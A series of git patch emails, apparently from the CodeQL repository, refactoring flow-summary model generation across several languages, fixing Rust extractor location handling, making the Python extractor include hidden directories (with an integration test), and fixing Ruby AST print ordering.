.../modelgenerator/debug/CaptureSummaryModelsPath.ql | 9 ++++----- .../dataflow/CaptureHeuristicSummaryModels.ql | 2 +- .../modelgenerator/debug/CaptureSummaryModelsPath.ql | 9 ++++----- .../mad/modelgenerator/internal/ModelGeneratorImpl.qll | 4 ++-- 7 files changed, 17 insertions(+), 20 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql index 6c35b568f965..ec9cb3400df5 100644 --- a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql +++ b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql @@ -4,7 +4,7 @@ import SummaryModels import InlineModelsAsDataTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(MadRelevantFunction c) { result = Heuristic::captureHeuristicFlow(c, _) } + string getCapturedModel(MadRelevantFunction c) { result = Heuristic::captureFlow(c, _) } string getKind() { result = "heuristic-summary" } } diff --git a/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql b/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql index fa7921d9b63b..096aea1790e6 100644 --- a/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql +++ b/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql @@ -11,16 +11,15 @@ import csharp import utils.modelgenerator.internal.CaptureModels import SummaryModels -import Heuristic -import PropagateTaintFlow::PathGraph +import Heuristic::PropagateTaintFlow::PathGraph from - PropagateTaintFlow::PathNode source, PropagateTaintFlow::PathNode sink, + Heuristic::PropagateTaintFlow::PathNode source, Heuristic::PropagateTaintFlow::PathNode sink, DataFlowSummaryTargetApi api, DataFlow::Node p, DataFlow::Node returnNodeExt where - PropagateTaintFlow::flowPath(source, sink) and + Heuristic::PropagateTaintFlow::flowPath(source, sink) and p = source.getNode() and returnNodeExt = sink.getNode() and - captureThroughFlow0(api, p, returnNodeExt) + Heuristic::captureThroughFlow0(api, p, returnNodeExt) select sink.getNode(), source, sink, "There is flow from $@ to the $@.", source.getNode(), "parameter", sink.getNode(), "return value" diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql index c21a53dd844b..cf52ff8cf25b 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql +++ b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql @@ -4,7 +4,7 @@ import SummaryModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Callable c) { result = Heuristic::captureHeuristicFlow(c, _) } + string getCapturedModel(Callable c) { result = Heuristic::captureFlow(c, _) } string getKind() { result = "heuristic-summary" } } diff --git a/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql b/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql index d4f3c49e14ee..20559f00cbfe 100644 --- a/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql +++ b/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql @@ -12,16 +12,15 @@ import java import semmle.code.java.dataflow.DataFlow import utils.modelgenerator.internal.CaptureModels import SummaryModels -import Heuristic -import PropagateTaintFlow::PathGraph +import Heuristic::PropagateTaintFlow::PathGraph from - PropagateTaintFlow::PathNode source, PropagateTaintFlow::PathNode sink, + Heuristic::PropagateTaintFlow::PathNode source, Heuristic::PropagateTaintFlow::PathNode sink, DataFlowSummaryTargetApi api, DataFlow::Node p, DataFlow::Node returnNodeExt where - PropagateTaintFlow::flowPath(source, sink) and + Heuristic::PropagateTaintFlow::flowPath(source, sink) and p = source.getNode() and returnNodeExt = sink.getNode() and - captureThroughFlow0(api, p, returnNodeExt) + Heuristic::captureThroughFlow0(api, p, returnNodeExt) select sink.getNode(), source, sink, "There is flow from $@ to the $@.", source.getNode(), "parameter", sink.getNode(), "return value" diff --git a/java/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql b/java/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql index 7b40492d35a3..ae1b25a28143 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql +++ b/java/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql @@ -4,7 +4,7 @@ import SummaryModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Callable c) { result = Heuristic::captureHeuristicFlow(c, _) } + string getCapturedModel(Callable c) { result = Heuristic::captureFlow(c, _) } string getKind() { result = "heuristic-summary" } } diff --git a/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql b/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql index 8ae02ce1d696..7c7a54aea513 100644 --- a/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql +++ b/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql @@ -11,16 +11,15 @@ private import codeql.rust.dataflow.DataFlow import utils.modelgenerator.internal.CaptureModels import SummaryModels -import Heuristic -import PropagateTaintFlow::PathGraph +import Heuristic::PropagateTaintFlow::PathGraph from - PropagateTaintFlow::PathNode source, PropagateTaintFlow::PathNode sink, + Heuristic::PropagateTaintFlow::PathNode source, Heuristic::PropagateTaintFlow::PathNode sink, DataFlowSummaryTargetApi api, DataFlow::Node p, DataFlow::Node returnNodeExt where - PropagateTaintFlow::flowPath(source, sink) and + Heuristic::PropagateTaintFlow::flowPath(source, sink) and p = source.getNode() and returnNodeExt = sink.getNode() and - captureThroughFlow0(api, p, returnNodeExt) + Heuristic::captureThroughFlow0(api, p, returnNodeExt) select sink.getNode(), source, sink, "There is flow from $@ to the $@.", source.getNode(), "parameter", sink.getNode(), "return value" diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll index 34ea0dae6e67..1eed895cc879 100644 --- a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll +++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll @@ -572,7 +572,7 @@ module MakeModelGeneratorFactory< * * `preservesValue` is `true` if the summary is value-preserving, and `false` otherwise. */ - string captureHeuristicFlow(DataFlowSummaryTargetApi api, boolean preservesValue) { + string captureFlow(DataFlowSummaryTargetApi api, boolean preservesValue) { result = captureQualifierFlow(api) and preservesValue = true or result = captureThroughFlow(api, preservesValue) @@ -988,7 +988,7 @@ module MakeModelGeneratorFactory< api0.lift() = api.lift() and exists(ContentSensitive::captureFlow(api0, true, _)) ) and - result = Heuristic::captureHeuristicFlow(api, preservesValue) and + result = Heuristic::captureFlow(api, preservesValue) and lift = true ) } From 674800748befb0d0362a50bf16aa316d4032e139 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Fri, 2 May 2025 15:24:31 +0200 Subject: [PATCH 078/535] Rust: fix location emission --- rust/extractor/src/translate/base.rs | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index 476c02b3adfd..d0e99e8a5b45 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -160,22 +160,21 @@ impl<'a> Translator<'a> { } } - fn location_for_node(&mut self, node: &impl ast::AstNode) -> (LineCol, LineCol) { + fn location_for_node(&mut self, node: &impl ast::AstNode) -> Option<(LineCol, LineCol)> { self.text_range_for_node(node) .and_then(|r| self.location(r)) - .unwrap_or(UNKNOWN_LOCATION) } pub fn emit_location(&mut self, label: Label, node: &impl ast::AstNode) { match self.location_for_node(node) { - UNKNOWN_LOCATION => self.emit_diagnostic( + None => self.emit_diagnostic( DiagnosticSeverity::Debug, "locations".to_owned(), "missing location for AstNode".to_owned(), "missing location for AstNode".to_owned(), UNKNOWN_LOCATION, ), - (start, end) => self.trap.emit_location(self.label, label, start, end), + Some((start, end)) => self.trap.emit_location(self.label, label, start, end), }; } pub fn emit_location_token( @@ -669,7 +668,7 @@ impl<'a> Translator<'a> { "item_expansion".to_owned(), message.clone(), message, - location, + location.unwrap_or(UNKNOWN_LOCATION), ); None })?; From 605f2bff9ccf53b35751a371436d2ee62329b56e Mon Sep 17 00:00:00 2001 From: Taus Date: Fri, 2 May 2025 12:42:23 +0000 Subject: [PATCH 079/535] Python: Add integration test --- .../hidden-files/query-default.expected | 5 ++++ .../hidden-files/query-skipped.expected | 4 ++++ .../hidden-files/query.ql | 3 +++ .../.hidden_dir/visible_file_in_hidden_dir.py | 0 .../hidden-files/repo_dir/.hidden_file.py | 0 .../hidden-files/repo_dir/foo.py | 1 + .../cli-integration-test/hidden-files/test.sh | 24 +++++++++++++++++++ 7 files changed, 37 insertions(+) create mode 100644 python/extractor/cli-integration-test/hidden-files/query-default.expected create mode 100644 python/extractor/cli-integration-test/hidden-files/query-skipped.expected create mode 100644 python/extractor/cli-integration-test/hidden-files/query.ql create mode 100644 python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_dir/visible_file_in_hidden_dir.py create mode 100644 python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_file.py create mode 100644 python/extractor/cli-integration-test/hidden-files/repo_dir/foo.py create mode 100755 python/extractor/cli-integration-test/hidden-files/test.sh diff --git a/python/extractor/cli-integration-test/hidden-files/query-default.expected b/python/extractor/cli-integration-test/hidden-files/query-default.expected new file mode 100644 index 000000000000..cc92af624b37 --- /dev/null +++ b/python/extractor/cli-integration-test/hidden-files/query-default.expected @@ -0,0 +1,5 @@ +| name | ++-------------------------------+ +| .hidden_file.py | +| foo.py | +| visible_file_in_hidden_dir.py | diff --git a/python/extractor/cli-integration-test/hidden-files/query-skipped.expected b/python/extractor/cli-integration-test/hidden-files/query-skipped.expected new file mode 100644 index 000000000000..688dbe00d570 --- /dev/null +++ b/python/extractor/cli-integration-test/hidden-files/query-skipped.expected @@ -0,0 +1,4 @@ +| name | ++-----------------+ +| .hidden_file.py | +| foo.py | diff --git a/python/extractor/cli-integration-test/hidden-files/query.ql b/python/extractor/cli-integration-test/hidden-files/query.ql new file mode 100644 index 000000000000..3b1b3c03849b --- /dev/null +++ b/python/extractor/cli-integration-test/hidden-files/query.ql @@ -0,0 +1,3 @@ +import python + +select any(File f).getShortName() as name order by name diff --git a/python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_dir/visible_file_in_hidden_dir.py b/python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_dir/visible_file_in_hidden_dir.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_file.py b/python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_file.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/python/extractor/cli-integration-test/hidden-files/repo_dir/foo.py b/python/extractor/cli-integration-test/hidden-files/repo_dir/foo.py new file mode 100644 index 000000000000..517b47df53c2 --- /dev/null +++ b/python/extractor/cli-integration-test/hidden-files/repo_dir/foo.py @@ -0,0 +1 @@ +print(42) diff --git a/python/extractor/cli-integration-test/hidden-files/test.sh b/python/extractor/cli-integration-test/hidden-files/test.sh new file mode 100755 index 000000000000..77cb12664af6 --- /dev/null +++ b/python/extractor/cli-integration-test/hidden-files/test.sh @@ -0,0 +1,24 @@ +#!/bin/bash + +set -Eeuo pipefail # see https://vaneyckt.io/posts/safer_bash_scripts_with_set_euxo_pipefail/ + +set -x + +CODEQL=${CODEQL:-codeql} + +SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" +cd "$SCRIPTDIR" + +rm -rf db db-skipped + +# Test 1: Default behavior should be to extract files in hidden directories +$CODEQL database create db --language python --source-root repo_dir/ +$CODEQL query run --database db query.ql > query-default.actual +diff query-default.expected query-default.actual + +# Test 2: Setting the relevant extractor option to true skips files in hidden directories +$CODEQL database create db-skipped --language python --source-root repo_dir/ --extractor-option python.skip_hidden_directories=true +$CODEQL query run --database db-skipped query.ql > query-skipped.actual +diff query-skipped.expected query-skipped.actual + +rm -rf db db-skipped From 67d04d5477065a59f2bc0f706b5af4366b08293b Mon Sep 17 00:00:00 2001 From: Taus Date: Wed, 30 Apr 2025 12:38:31 +0000 Subject: [PATCH 080/535] Python: Add change note --- .../2025-04-30-extract-hidden-files-by-default.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md diff --git a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md b/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md new file mode 100644 index 000000000000..96372513499f --- /dev/null +++ b/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md @@ -0,0 +1,5 @@ +--- +category: minorAnalysis +--- + +- The Python extractor now extracts files in hidden directories by default. A new extractor option, `skip_hidden_directories` has been added as well. Setting it to `true` will make the extractor revert to the old behavior. From 2ded42c285151dfceb62597e5e767bfae0586f1c Mon Sep 17 00:00:00 2001 From: Taus Date: Fri, 2 May 2025 13:29:52 +0000 Subject: [PATCH 081/535] Python: Update extractor tests --- python/ql/test/2/extractor-tests/hidden/test.expected | 2 ++ python/ql/test/extractor-tests/filter-option/Test.expected | 1 + 2 files changed, 3 insertions(+) diff --git a/python/ql/test/2/extractor-tests/hidden/test.expected b/python/ql/test/2/extractor-tests/hidden/test.expected index ca72363d8f02..21bd0dfb2dd9 100644 --- a/python/ql/test/2/extractor-tests/hidden/test.expected +++ b/python/ql/test/2/extractor-tests/hidden/test.expected @@ -1,3 +1,5 @@ +| .hidden/inner/test.py | +| .hidden/module.py | | folder/module.py | | package | | package/__init__.py | diff --git a/python/ql/test/extractor-tests/filter-option/Test.expected b/python/ql/test/extractor-tests/filter-option/Test.expected index 7ade39a5998c..56b1e36c2a93 100644 --- a/python/ql/test/extractor-tests/filter-option/Test.expected +++ b/python/ql/test/extractor-tests/filter-option/Test.expected @@ -3,3 +3,4 @@ | Module foo.bar | | Module foo.include_test | | Package foo | +| Script hidden_foo.py | From 37bc2bf5b30e24a1302aad10476d4614b96c595c Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 2 May 2025 16:51:15 +0100 Subject: [PATCH 082/535] Shared: Deduplicate flow summaries. --- .../internal/ModelGeneratorImpl.qll | 83 ++++++++++++------- 1 file changed, 52 insertions(+), 31 deletions(-) diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll index 1eed895cc879..6623373b2816 100644 --- a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll +++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll @@ -345,12 +345,14 @@ module MakeModelGeneratorFactory< /** * Gets the summary model of `api`, if it follows the `fluent` programming pattern (returns `this`). */ - private string captureQualifierFlow(DataFlowSummaryTargetApi api) { + private string captureQualifierFlow(DataFlowSummaryTargetApi api, string input, string output) { exists(ReturnNodeExt ret | api = returnNodeEnclosingCallable(ret) and isOwnInstanceAccessNode(ret) ) and - result = ModelPrintingSummary::asLiftedValueModel(api, qualifierString(), "ReturnValue") + input = qualifierString() and + output = "ReturnValue" and + result = ModelPrintingSummary::asLiftedValueModel(api, input, output) } private int accessPathLimit0() { result = 2 } @@ -430,7 +432,7 @@ module MakeModelGeneratorFactory< predicate isSink(DataFlow::Node sink) { sink instanceof ReturnNodeExt and not isOwnInstanceAccessNode(sink) and - not exists(captureQualifierFlow(getAsExprEnclosingCallable(sink))) + not exists(captureQualifierFlow(getAsExprEnclosingCallable(sink), _, _)) } predicate isAdditionalFlowStep = PropagateFlowConfigInput::isAdditionalFlowStep/4; @@ -559,11 +561,24 @@ module MakeModelGeneratorFactory< * * `preservesValue` is `true` if the summary is value-preserving, and `false` otherwise. */ - private string captureThroughFlow(DataFlowSummaryTargetApi api, boolean preservesValue) { - exists(string input, string output | - preservesValue = max(boolean b | captureThroughFlow0(api, _, input, _, output, b)) and - result = ModelPrintingSummary::asLiftedModel(api, input, output, preservesValue) - ) + private string captureThroughFlow( + DataFlowSummaryTargetApi api, string input, string output, boolean preservesValue + ) { + preservesValue = max(boolean b | captureThroughFlow0(api, _, input, _, output, b)) and + result = ModelPrintingSummary::asLiftedModel(api, input, output, preservesValue) + } + + /** + * Gets the summary model(s) of `api`, if there is flow `input` to + * `output`. `preservesValue` is `true` if the summary is value- + * preserving, and `false` otherwise. + */ + string captureFlow( + DataFlowSummaryTargetApi api, string input, string output, boolean preservesValue + ) { + result = captureQualifierFlow(api, input, output) and preservesValue = true + or + result = captureThroughFlow(api, input, output, preservesValue) } /** @@ -573,9 +588,7 @@ module MakeModelGeneratorFactory< * `preservesValue` is `true` if the summary is value-preserving, and `false` otherwise. */ string captureFlow(DataFlowSummaryTargetApi api, boolean preservesValue) { - result = captureQualifierFlow(api) and preservesValue = true - or - result = captureThroughFlow(api, preservesValue) + result = captureFlow(api, _, _, preservesValue) } /** @@ -947,19 +960,20 @@ module MakeModelGeneratorFactory< } /** - * Gets the content based summary model(s) of the API `api` (if there is flow from a parameter to - * the return value or a parameter). `lift` is true, if the model should be lifted, otherwise false. + * Gets the content based summary model(s) of the API `api` (if there is flow from `input` to + * `output`). `lift` is true, if the model should be lifted, otherwise false. * `preservesValue` is `true` if the summary is value-preserving, and `false` otherwise. * * Models are lifted to the best type in case the read and store access paths do not * contain a field or synthetic field access. */ - string captureFlow(ContentDataFlowSummaryTargetApi api, boolean lift, boolean preservesValue) { - exists(string input, string output | - captureFlow0(api, input, output, _, lift) and - preservesValue = max(boolean p | captureFlow0(api, input, output, p, lift)) and - result = ContentModelPrinting::asModel(api, input, output, preservesValue, lift) - ) + string captureFlow( + ContentDataFlowSummaryTargetApi api, string input, string output, boolean lift, + boolean preservesValue + ) { + captureFlow0(api, input, output, _, lift) and + preservesValue = max(boolean p | captureFlow0(api, input, output, p, lift)) and + result = ContentModelPrinting::asModel(api, input, output, preservesValue, lift) } } @@ -972,23 +986,30 @@ module MakeModelGeneratorFactory< * generate flow summaries using the heuristic based summary generator. */ string captureFlow(DataFlowSummaryTargetApi api, boolean lift) { - exists(boolean preservesValue | - result = ContentSensitive::captureFlow(api, lift, preservesValue) - or - not exists(DataFlowSummaryTargetApi api0 | - // If the heuristic summary is value-preserving then we keep both - // summaries. However, if we can generate any content-sensitive - // summary (value-preserving or not) then we don't include any taint- - // based heuristic summary. - preservesValue = false + result = ContentSensitive::captureFlow(api, _, _, lift, _) + or + exists(boolean preservesValue, string input, string output | + not exists( + DataFlowSummaryTargetApi api0, string input0, string output0, boolean preservesValue0 + | + // If the heuristic summary is taint-based, and we can generate a content-sensitive + // summary that is value-preserving then we omit generating any heuristic summary. + preservesValue = false and + preservesValue0 = true + or + // However, if they're both value-preserving (or both taint-based) then we only + // generate a heuristic summary if we didn't generate a content-sensitive summary. + preservesValue = preservesValue0 and + input0 = input and + output0 = output | (api0 = api or api.lift() = api0) and - exists(ContentSensitive::captureFlow(api0, false, _)) + exists(ContentSensitive::captureFlow(api0, input0, output0, false, preservesValue0)) or api0.lift() = api.lift() and - exists(ContentSensitive::captureFlow(api0, true, _)) + exists(ContentSensitive::captureFlow(api0, input0, output0, true, preservesValue0)) ) and - result = Heuristic::captureFlow(api, preservesValue) and + result = Heuristic::captureFlow(api, input, output, preservesValue) and lift = true ) } From bce5f2539f7c2bdf6feaef9810188dc133cb8416 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 2 May 2025 16:52:05 +0100 Subject: [PATCH 083/535] C++/C#/Java/Rust: Fixup tests. --- .../src/utils/modelgenerator/CaptureContentSummaryModels.ql | 2 +- .../modelgenerator/dataflow/CaptureContentSummaryModels.ql | 4 +++- .../src/utils/modelgenerator/CaptureContentSummaryModels.ql | 2 +- .../modelgenerator/dataflow/CaptureContentSummaryModels.ql | 2 +- .../src/utils/modelgenerator/CaptureContentSummaryModels.ql | 2 +- .../modelgenerator/dataflow/CaptureContentSummaryModels.ql | 2 +- .../src/utils/modelgenerator/CaptureContentSummaryModels.ql | 2 +- .../test/utils-tests/modelgenerator/CaptureSummaryModels.ql | 2 +- 8 files changed, 10 insertions(+), 8 deletions(-) diff --git a/cpp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql b/cpp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql index c9ded7484662..a15a584e13d0 100644 --- a/cpp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql +++ b/cpp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql @@ -10,5 +10,5 @@ import internal.CaptureModels import SummaryModels from DataFlowSummaryTargetApi api, string flow -where flow = ContentSensitive::captureFlow(api, _, _) +where flow = ContentSensitive::captureFlow(api, _, _, _, _) select flow order by flow diff --git a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureContentSummaryModels.ql b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureContentSummaryModels.ql index a7d6e0ad4ec5..37990554258b 100644 --- a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureContentSummaryModels.ql +++ b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureContentSummaryModels.ql @@ -4,7 +4,9 @@ import SummaryModels import InlineModelsAsDataTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(MadRelevantFunction c) { result = ContentSensitive::captureFlow(c, _, _) } + string getCapturedModel(MadRelevantFunction c) { + result = ContentSensitive::captureFlow(c, _, _, _, _) + } string getKind() { result = "contentbased-summary" } } diff --git a/csharp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql b/csharp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql index cc36c15d6ad1..6030960a1a78 100644 --- a/csharp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql +++ b/csharp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql @@ -10,5 +10,5 @@ import internal.CaptureModels import SummaryModels from DataFlowSummaryTargetApi api, string flow -where flow = ContentSensitive::captureFlow(api, _, _) +where flow = ContentSensitive::captureFlow(api, _, _, _, _) select flow order by flow diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql index 7a385bc70ac5..a52b96b02327 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql +++ b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql @@ -4,7 +4,7 @@ import SummaryModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Callable c) { result = ContentSensitive::captureFlow(c, _, _) } + string getCapturedModel(Callable c) { result = ContentSensitive::captureFlow(c, _, _, _, _) } string getKind() { result = "contentbased-summary" } } diff --git a/java/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql b/java/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql index 3eec61cc8d49..39e8cd9a0a4a 100644 --- a/java/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql +++ b/java/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql @@ -10,5 +10,5 @@ import internal.CaptureModels import SummaryModels from DataFlowSummaryTargetApi api, string flow -where flow = ContentSensitive::captureFlow(api, _, _) +where flow = ContentSensitive::captureFlow(api, _, _, _, _) select flow order by flow diff --git a/java/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql b/java/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql index 1954bc8cd960..aecabe429019 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql +++ b/java/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql @@ -4,7 +4,7 @@ import SummaryModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Callable c) { result = ContentSensitive::captureFlow(c, _, _) } + string getCapturedModel(Callable c) { result = ContentSensitive::captureFlow(c, _, _, _, _) } string getKind() { result = "contentbased-summary" } } diff --git a/rust/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql b/rust/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql index e88efe80b8e5..9dd63e06ea72 100644 --- a/rust/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql +++ b/rust/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql @@ -10,5 +10,5 @@ import internal.CaptureModels import SummaryModels from DataFlowSummaryTargetApi api, string flow -where flow = ContentSensitive::captureFlow(api, _, _) +where flow = ContentSensitive::captureFlow(api, _, _, _, _) select flow order by flow diff --git a/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.ql b/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.ql index c68b3b18b8c9..fe5e532394b4 100644 --- a/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.ql +++ b/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.ql @@ -4,7 +4,7 @@ import SummaryModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Function f) { result = ContentSensitive::captureFlow(f, _, _) } + string getCapturedModel(Function f) { result = ContentSensitive::captureFlow(f, _, _, _, _) } string getKind() { result = "summary" } } From 2511f521616ce428a9e5ddcab55467caf50a0bc0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nora=20Dimitrijevi=C4=87?= Date: Thu, 1 May 2025 11:26:42 -0400 Subject: [PATCH 084/535] Ruby printAst: fix order for synth children of real parents Real parents can have synthesized children, so always assigning index 0 leads to nondeterminism in graph output. --- ruby/ql/lib/codeql/ruby/printAst.qll | 20 +++++++++++--------- ruby/ql/test/library-tests/ast/Ast.expected | 16 ++++++++-------- 2 files changed, 19 insertions(+), 17 deletions(-) diff --git a/ruby/ql/lib/codeql/ruby/printAst.qll b/ruby/ql/lib/codeql/ruby/printAst.qll index c15b717610ab..e87b9bc43ece 100644 --- a/ruby/ql/lib/codeql/ruby/printAst.qll +++ b/ruby/ql/lib/codeql/ruby/printAst.qll @@ -121,15 +121,17 @@ class PrintRegularAstNode extends PrintAstNode, TPrintRegularAstNode { } private int getSynthAstNodeIndex() { - this.parentIsSynthesized() and - exists(AstNode parent | - shouldPrintAstEdge(parent, _, astNode) and - parent.isSynthesized() and - synthChild(parent, result, astNode) - ) - or - not this.parentIsSynthesized() and - result = 0 + if + exists(AstNode parent | + shouldPrintAstEdge(parent, _, astNode) and + synthChild(parent, _, astNode) + ) + then + exists(AstNode parent | + shouldPrintAstEdge(parent, _, astNode) and + synthChild(parent, result, astNode) + ) + else result = 0 } override int getOrder() { diff --git a/ruby/ql/test/library-tests/ast/Ast.expected b/ruby/ql/test/library-tests/ast/Ast.expected index 294edfdab1e6..5d8cefb01ab2 100644 --- a/ruby/ql/test/library-tests/ast/Ast.expected +++ b/ruby/ql/test/library-tests/ast/Ast.expected @@ -915,8 +915,8 @@ control/cases.rb: # 56| getValue: [IntegerLiteral] 5 # 56| getKey: [SymbolLiteral] :b # 56| getComponent: [StringTextComponent] b -# 56| getValue: [LocalVariableAccess] b # 56| getRestVariableAccess: [LocalVariableAccess] map +# 56| getValue: [LocalVariableAccess] b # 57| getBranch: [InClause] in ... then ... # 57| getPattern: [HashPattern] { ..., ** } # 57| getKey: [SymbolLiteral] :a @@ -1006,8 +1006,8 @@ control/cases.rb: # 75| getValue: [IntegerLiteral] 5 # 75| getKey: [SymbolLiteral] :b # 75| getComponent: [StringTextComponent] b -# 75| getValue: [LocalVariableAccess] b # 75| getRestVariableAccess: [LocalVariableAccess] map +# 75| getValue: [LocalVariableAccess] b # 76| getBranch: [InClause] in ... then ... # 76| getPattern: [HashPattern] { ..., ** } # 76| getKey: [SymbolLiteral] :a @@ -1209,8 +1209,8 @@ control/cases.rb: # 141| getValue: [IntegerLiteral] 1 # 141| getKey: [SymbolLiteral] :a # 141| getComponent: [StringTextComponent] a -# 141| getValue: [LocalVariableAccess] a # 141| getRestVariableAccess: [LocalVariableAccess] rest +# 141| getValue: [LocalVariableAccess] a # 142| getBranch: [InClause] in ... then ... # 142| getPattern: [HashPattern] { ..., ** } # 142| getClass: [ConstantReadAccess] Foo @@ -3185,14 +3185,14 @@ params/params.rb: # 106| getParameter: [HashSplatParameter] **kwargs # 106| getDefiningAccess: [LocalVariableAccess] kwargs # 107| getStmt: [SuperCall] super call to m -# 107| getArgument: [HashSplatExpr] ** ... -# 107| getAnOperand/getOperand/getReceiver: [LocalVariableAccess] kwargs +# 107| getArgument: [LocalVariableAccess] y +# 107| getArgument: [SplatExpr] * ... +# 107| getAnOperand/getOperand/getReceiver: [LocalVariableAccess] rest # 107| getArgument: [Pair] Pair # 107| getKey: [SymbolLiteral] k # 107| getValue: [LocalVariableAccess] k -# 107| getArgument: [SplatExpr] * ... -# 107| getAnOperand/getOperand/getReceiver: [LocalVariableAccess] rest -# 107| getArgument: [LocalVariableAccess] y +# 107| getArgument: [HashSplatExpr] ** ... +# 107| getAnOperand/getOperand/getReceiver: [LocalVariableAccess] kwargs # 111| 